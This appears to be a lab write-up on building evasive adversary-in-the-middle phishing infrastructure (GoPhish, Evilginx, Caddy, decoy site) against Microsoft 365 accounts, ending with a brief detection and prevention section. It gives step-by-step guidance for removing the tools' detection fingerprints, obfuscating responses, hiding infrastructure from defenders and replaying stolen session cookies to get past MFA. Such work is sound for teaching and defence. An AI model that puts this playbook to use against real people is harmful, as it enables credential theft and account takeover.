Evilginx & GoPhish — OPSEC and Traffic Filtering

1. The Story

As you know, I have a project called Active Directory Hybrid Lab. Inside that, I had connected Azure AD Connect and it synced the user sets and their passwords from on-prem AD to Entra ID. There were almost 50 users synced from the old Active Directory. Even when I deleted and destroyed the servers after that project was finished, the users were still alive on the cloud.

So for this project, I thought about using these accounts — because they could still log in to login.microsoftonline.com. But they didn't have real Outlook since that needs a paid license. So I bought a virtual private server and built a mail server for the domain I already had — apex-corp.xyz. That domain now catches all the emails. Instead of creating a mailbox for every user, I set up a catch-all that catches every mail. It could send mails outside to my Gmail account, and receive from outside too. It didn't have great reputation though — emails kept landing in spam. But it worked. That's the main thing.

For GoPhish, I used this mail server as the SMTP relay. I could have used a paid SMTP service for better deliverability, but this was just a simulation.

For Evilginx, I used Caddy for request filtering and redirection to avoid detection by defenders and bots.

You may notice Marvel character names throughout this article. If you have read the hybrid lab project, I intentionally used Marvel character names there too. The HTML email template that gets dropped into the mailbox uses a Marvel-inspired theme — it appeals to recipients to "join the war." It's just a demo showing how phishing works.

The front-facing domain in front of Evilginx serves a Marvel-inspired decoy page I created with AI. It's what every bot, SOC analyst, or defender sees when they visit without the valid token or cookie.

This is a controlled simulation for educational and portfolio purposes only. All targets were accounts I owned in my own lab environment.

2. How It All Works — The Big Picture

Before we get into commands, here is the full attack flow so everything makes sense as you build it.

The key insight: Evilginx is not a fake page. It is a real-time transparent proxy. The victim sees the actual Microsoft login page — because Evilginx is fetching it from Microsoft and relaying it. The difference is that Evilginx intercepts the session cookie on the way back. That cookie is what lets you log in without a password or MFA.

3. Part 1 — VPS 1: Mail Server + GoPhish

Step 1.1 — Provision the VPS

Go to DigitalOcean and create a Droplet.

• Image: Ubuntu 24.04 LTS
• Size: 2 vCPU, 4 GB RAM, 80 GB SSD (/month)
• Region: Whatever is closest to your targets

Name it mailserver and click Create Droplet.

Once it is up, you will see the dashboard with the public IP.

Before anything else, check that the IP is clean. Go to abuseipdb.com and search for the IP. You want zero reports. If the IP is flagged, destroy the droplet and create a fresh one in a different region.

Step 1.2 — Log In and Basic Setup

SSH into the server:

Edit /etc/hosts and add your domain:

Add this line:

Step 1.3 — Configure DNS in Cloudflare

Add these records for your domain:

Important: Mail-related records must be DNS only (grey cloud in Cloudflare). If you orange-cloud them, Cloudflare proxy breaks SMTP traffic.

Step 1.4 — UFW Firewall

Step 1.5 — Get an SSL Certificate

Get the SSL certificate before installing any mail services to avoid port conflicts.

Certificate files are saved to /etc/letsencrypt/live/mail.apex-corp.xyz/

Step 1.6 — Install and Configure Postfix

When the installer asks, choose Internet Site and type the mail name as apex-corp.xyz.

Create a dedicated mail user (no login shell — just for storing mail):

Create the virtual mailbox domain file:

Create the virtual mailbox map (one mailbox per line):

Create a catch-all map (any unmatched address goes to t.stark):

Back up the original config and replace it:

Paste this full configuration:

Generate the hash databases (Ubuntu 24.04 requires this step — files must be compiled before Postfix can use them):

Restart Postfix:

Test local mail delivery:

Step 1.7 — Install and Configure Dovecot (IMAP)

Main config — make sure protocols line is uncommented:

Set the mail location:

Configure authentication:

Create the passwd-file auth config:

Create all users at once:

Configure SSL:

The < before the path is not a typo. Dovecot uses < to mean read from file. Do not remove it.

Disable plain IMAP — only allow IMAPS on port 993:

Step 1.8 — Install Roundcube

Run the Roundcube installer through browser: http://YOUR_VPS1_IP/roundcube/installer/

Configure:

• IMAP host: ssl://mail.apex-corp.xyz:993
• SMTP host: localhost:25
• SMTP user: (leave empty)
• SMTP password: (leave empty)

In config/config.inc.php, SMTP user and password must be empty strings ''. If you set any value there, Roundcube tries to authenticate to Postfix and fails.

Step 1.9 — Set Up Caddy (HTTPS for Roundcube)

Step 1.10 — Test Email Flow

Log into Roundcube at https://mail.apex-corp.xyz (e.g., [email protected] / Password123) and send a test email.

Any email to @apex-corp.xyz lands in the catch-all inbox. Tested by sending from Gmail — it arrived:

When sending from the server to Gmail, it went to spam (expected without DKIM):

Gmail showed us why — it checks SPF and DMARC:

Step 1.11 — Set Up DKIM

Get the public key:

Add this as a TXT record in Cloudflare under mail._domainkey.apex-corp.xyz.

Wire OpenDKIM to Postfix by adding these lines to /etc/postfix/main.cf:

After DKIM, the spam score improved from 15 to around 40 out of 100 (higher is better):

Step 1.12 — Install GoPhish

GoPhish has a special fork built by the Evilginx author that makes both tools work together properly:

Create a systemd service:

GoPhish admin panel runs on localhost. Forward it over SSH to access from your machine:

Open https://127.0.0.1:3333 in your browser and log in.

Step 1.13 — GoPhish OPSEC Modifications

Do all of these BEFORE running go build. They remove GoPhish fingerprints that defenders and email security tools scan for.

G1 — Remove X-Gophish headers

In controllers/api/util.go, find and remove:

G2 — Change the server name

In config/config.go:

G3 — Change the admin port

In config.json:

G8 — Custom 404 response

In controllers/phish.go:

G9 — Better robots.txt

In controllers/phish.go:

G10 — Rename the tracking parameter

Search for rid in controllers/phish.go and rename to something custom like ref or src. Match the same rename in Evilginx source.

G12 — Change certificate organisation

In util/util.go:

Rebuild after all modifications:

Step 1.14 — Set Up the GoPhish Campaign

Sending Profile:

• From: IT Security Team <[email protected]>
• Host: localhost:25
• Username: (empty)
• Password: (empty)

Target Group:

Email Template:

Launch the campaign:

GoPhish shows a real-time timeline — who got the email, who opened it, who clicked.

All phishing emails arrived in the inbox (catch-all working):

4. Part 2 — VPS 2: Evilginx + Caddy

Step 2.1 — Provision the Second VPS

Create another Droplet on DigitalOcean:

• Image: Ubuntu 24.04 LTS
• Size: 4 vCPU, 8 GB RAM, 160 GB SSD (Evilginx needs more resources)
• Region: Same as VPS 1

Step 2.2 — Add DNS Records for VPS 2

Back in Cloudflare, add A records pointing to VPS 2 IP. All must be DNS only (grey cloud):

Critical: login.apex-corp.xyz must be grey cloud (DNS only). If you orange-cloud it, Cloudflare terminates the TLS and the SNI passthrough to Evilginx breaks.

Step 2.3 — Basic Setup on VPS 2

Step 2.4 — Install Go 1.22

Step 2.5 — Get a Wildcard SSL Certificate

Evilginx needs a wildcard cert because it serves TLS for multiple subdomains (auth-prod, sso-prod, etc.). A regular single-domain cert won't cover them.

Wildcard certs require a DNS challenge — you can't use the default HTTP challenge for these:

Certbot will give you a TXT record to add in Cloudflare:

After adding the TXT record, press Enter in the terminal. Certbot verifies it and saves the certificate.

Copy the cert to the Evilginx directory:

Step 2.6 — Clone and Modify Evilginx Source

Make ALL modifications BEFORE building. After you run go build, any source changes need a full rebuild to take effect.

The reason these modifications matter — the default Evilginx build leaves fingerprints that defenders actively scan for. This is what the default config looks like:

E1 — Remove the X-Evilginx IOC header

File: core/http_proxy.go

Comment out these 3 locations:

Without this change, every proxied response contains an X-Evilginx header revealing the tool.

E2 — Remove the HOME_DIR constant

File: core/http_proxy.go (~line 52)

E3 — Replace the unauthorized redirect HTML

File: core/http_proxy.go

Search for <html> and replace with:

This is shown when someone accesses a path Evilginx does not recognise. The original content is identifiable.

E4 — Base64 obfuscation of HTML responses

File: core/http_proxy.go (~line 1154)

Add "encoding/base64" to the imports. At the end of the if stringExists(mime, []string{"text/html"}) block, before the closing brace:

The browser decodes and renders it normally. Security scanners reading raw HTML see nothing useful.

E5 — Dynamic JS minification

File: core/http_proxy.go — find the injectJavascriptIntoBody function.

Add imports:

Replace the injection logic:

This minifies injected JavaScript so it does not match static signatures security tools look for.

E6-E7 — Custom TLS configuration

File: core/config.go

Add "crypto/tls" to imports. Add to the GeneralConfig struct:

In NewConfig(), add:

E8 — Replace TLSConfigFromCA

File: core/http_proxy.go — replace the entire TLSConfigFromCA function:

E9 — Fix the cookie name format

The default Evilginx cookie name has an xxxx-xxxx pattern that Push Security detects automatically.

File: core/http_proxy.go — replace getSessionCookieName:

This removes the xxxx-xxxx pattern that is used as a detection signature.

E10 — Fix the cookie value format

The default token is 64 hex characters — another Push Security signature.

File: core/utils.go — replace GenRandomToken:

E11 — Modify cert.db

File: core/cert.db

Change the Organisation and Country fields to something that looks like a normal CDN or cloud provider, not obviously Evilginx.

E18 — Increase lure URL randomness

File: core/terminal.go (~line 728):

Longer paths are harder to guess or brute-force.

Step 2.7 — Create the Custom O365 Phishlet

Create the file phishlets/o365.yaml:

Why these phish_sub values?

Names like auth-prod, portal-prod, uniquecdn, sso-prod look like real production infrastructure subdomains. Never use default names like login, auth, or secure — those are immediately flagged by detection tools.

Each phish_sub needs a corresponding DNS A record pointing to VPS 2 (grey cloud in Cloudflare).

The js_inject block changes the page title and favicon live, so the victim sees "Apex Corp - Secure Login" instead of the Microsoft default.

The sub_filters block replaces "Sign in to your account" with "Verify your identity" and kills Microsoft's telemetry endpoint so it cannot report the phishing page back home.

Step 2.8 — Build Evilginx

After all modifications are done:

Step 2.9 — Set Up the Turnstile Redirector

Cloudflare Turnstile is an invisible CAPTCHA that sits in front of the lure URL. It blocks bots and automated scanners. Only real browsers that pass the challenge get forwarded to Evilginx.

To get your site key:

1. Go to Cloudflare Dashboard → Turnstile
2. Add site — domain = login.apex-corp.xyz, Widget Mode = Invisible
3. Copy the Site Key and replace YOUR_TURNSTILE_SITE_KEY

Step 2.10 — Install Caddy on VPS 2

Step 2.11 — Create the Decoy Site

Everyone who visits the domain without a valid token should see a normal-looking corporate website. This fools bots, scanners, and anyone trying to investigate.

/var/www/decoy/index.html:

Fake nginx 404 page for error responses (/var/www/decoy/404-nginx.html):

Step 2.12 — Configure Caddy as the Gatekeeper

This is the most important part. Caddy controls all traffic in front of Evilginx:

• No valid token → decoy site
• Valid ?utm_source=TOKEN → strip the token → forward to Evilginx
• Returning visitor with session cookie → forward to Evilginx
• CDN subdomains (phishlet resources) → forward to Evilginx
• Any Evilginx error → decoy site

The tokens are embedded in the GoPhish campaign URL as ?utm_source=tonystark. Each token maps to a specific target for tracking who clicked.

What each request gets:

Step 2.13 — Configure Evilginx

Edit ~/.evilginx/config.json (auto-generated on first run, then edit it):

Set blacklist.mode to off because Caddy handles all filtering. If you leave Evilginx blacklist on, it may block Caddy's own internal requests to localhost:8443.

Step 2.14 — Create the Evilginx Systemd Service

Step 2.15 — UFW + Fail2Ban on VPS 2

Port 8443 is NOT opened publicly. Evilginx only listens on localhost:8443. Only Caddy can reach it internally.

Step 2.16 — Start Everything

Start Evilginx first:

The first run creates config files automatically:

Configure Evilginx inside its CLI:

Optional — hide your VPS IP from Microsoft: When Evilginx proxies the Microsoft login page, Microsoft logs the connecting IP. To hide it, configure an outbound proxy:

Run proxy to verify it shows Status: enabled.

Start Caddy:

If Caddy complains about certificate permissions:

Step 2.17 — Get the Cookie Name and Update Caddyfile

Every time Evilginx starts, it generates a new session cookie name. You need to update the Caddyfile with this name so returning visitors (with a valid cookie) get forwarded correctly.

Run this with a valid token:

Look at the Set-Cookie header in the response. Copy the cookie name (e.g. 2a8f9b).

Update the @has_cookie matcher in /etc/caddy/Caddyfile:

Reload Caddy to apply the change:

Remember: You must do this every time Evilginx restarts, because the cookie name is re-generated each time.

5. Part 3 — Running the Attack

Step 3.1 — Create the Lure URL

Inside the Evilginx CLI:

Copy this URL. This is what goes into the GoPhish campaign as {{.URL}}.

Step 3.2 — Test the Token Gate

Accessing the lure URL without a valid token returns the decoy site:

This is correct behaviour — Caddy is blocking anyone who does not have a valid utm_source.

The valid tokens we configured:

Testing with scarlet24 as the token — the difference is clear:

With the correct token, the real Microsoft login page loads through Evilginx:

Step 3.3 — Enter Credentials

The victim enters their real Microsoft credentials on what looks like the legitimate login page:

After login, they are forwarded to the real Microsoft portal. They notice nothing wrong:

Step 3.4 — Check the Captured Session

Back in the Evilginx console:

The full session — username, password, and all session cookies:

Even though the account had MFA enabled, the session cookie was captured after MFA completed. The cookie is already fully authenticated. Evilginx does not bypass MFA — it just waits for the user to complete it and grabs the resulting cookie on the way back.

Step 3.5 — Session Replay (Account Takeover)

Use the StorageAce browser extension (or EditThisCookie) to import the captured session cookies into a fresh browser profile:

After importing the cookies and refreshing, the browser asks which account to use — because it already sees an authenticated session:

Enter the password (which Evilginx already captured) and the login completes. You are now logged in as the victim — with full access to their Outlook, OneDrive, Teams, SharePoint, and everything else in Microsoft 365.

MFA was bypassed — not because MFA was broken, but because the session token was captured after MFA completed successfully. The token proves authentication already happened.

6. Blue Team — How to Detect and Prevent This

This is the most important part. Understanding detection and prevention is what demonstrates you understand the attack beyond just running the tools.

Detection

Prevention

The key takeaway: Regular authenticator app MFA (SMS codes, push notifications) does not stop AiTM phishing. The session token is captured after MFA completes — the attacker already has an authenticated session. FIDO2 hardware keys are the only MFA method that is inherently resistant to this attack, because the authentication is cryptographically tied to the real website domain. A phishing domain simply cannot satisfy that binding.

7. Verification Checklist

Run these checks after the full setup is complete:

1. No Evilginx or GoPhish headers

   Check that HTTP response headers don't leak the phishing framework. A clean setup shows only the web server banner.

   Verify Copy

   curl -sI https://login.apex-corp.xyz | grep -i -E "x-|server"

   Expected: Server: nginx/1.18.0 (Ubuntu) — no X-Evilginx, X-Gophish, or custom headers.

2. Bots get the decoy site

   Automated scanners and bots should never reach Evilginx. They should always receive the decoy page.

   Verify Copy

   curl -A "curl" https://login.apex-corp.xyz | head -5 curl -A "nmap" https://login.apex-corp.xyz | head -5

   Expected: Apex Corp decoy page HTML in both responses.

3. Scanner paths return decoy

   Common scanner paths like /wp-admin or /.env should not expose the phishing infrastructure.

   Verify Copy

   curl -s https://login.apex-corp.xyz/wp-admin | head -5 curl -s https://login.apex-corp.xyz/.env | head -5

   Expected: Apex Corp decoy page HTML, not a 404 or error page.

4. Lure path without token → decoy

   Visiting the lure path without the valid token should serve the decoy, even with a real browser User-Agent.

   Verify Copy

   curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" https://login.apex-corp.xyz/access | head -5

   Expected: Apex Corp decoy page HTML.

5. Lure path with valid token → Evilginx

   A request with the correct token should be forwarded to Evilginx, which redirects to the real Microsoft login.

   Verify Copy

   curl -sI -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" "https://login.apex-corp.xyz/access?utm_source=scarlet24"

   Expected: 302 redirect toward login.microsoftonline.com.

6. Certificate transparency clean

   Only the wildcard certificate should appear in public CT logs — no individual subdomain certs that a defender could correlate.

   Check Copy

   Visit: https://crt.sh/?q=apex-corp.xyz

   Expected: Wildcard only — no entries for auth-prod, sso-prod, etc.

7. Cookie OPSEC

   The session cookie set by Evilginx should not use the default name or length patterns that detection rules scan for.

   Check Copy

   DevTools → Application → Cookies → login.apex-corp.xyz

   Expected: Cookie name should NOT be xxxx-xxxx format, and value should NOT be 64 unbroken hex characters.

8. Troubleshooting Reference

9. References & Resources

This project was inspired by the following resources:

• Taking the Pain Out of C2 Infrastructure — byt3bl33d3r
• Kcaddy Redirector for Evilginx — Knifesec
• Evilginx Phishing Infrastructure Setup — An0nUD4Y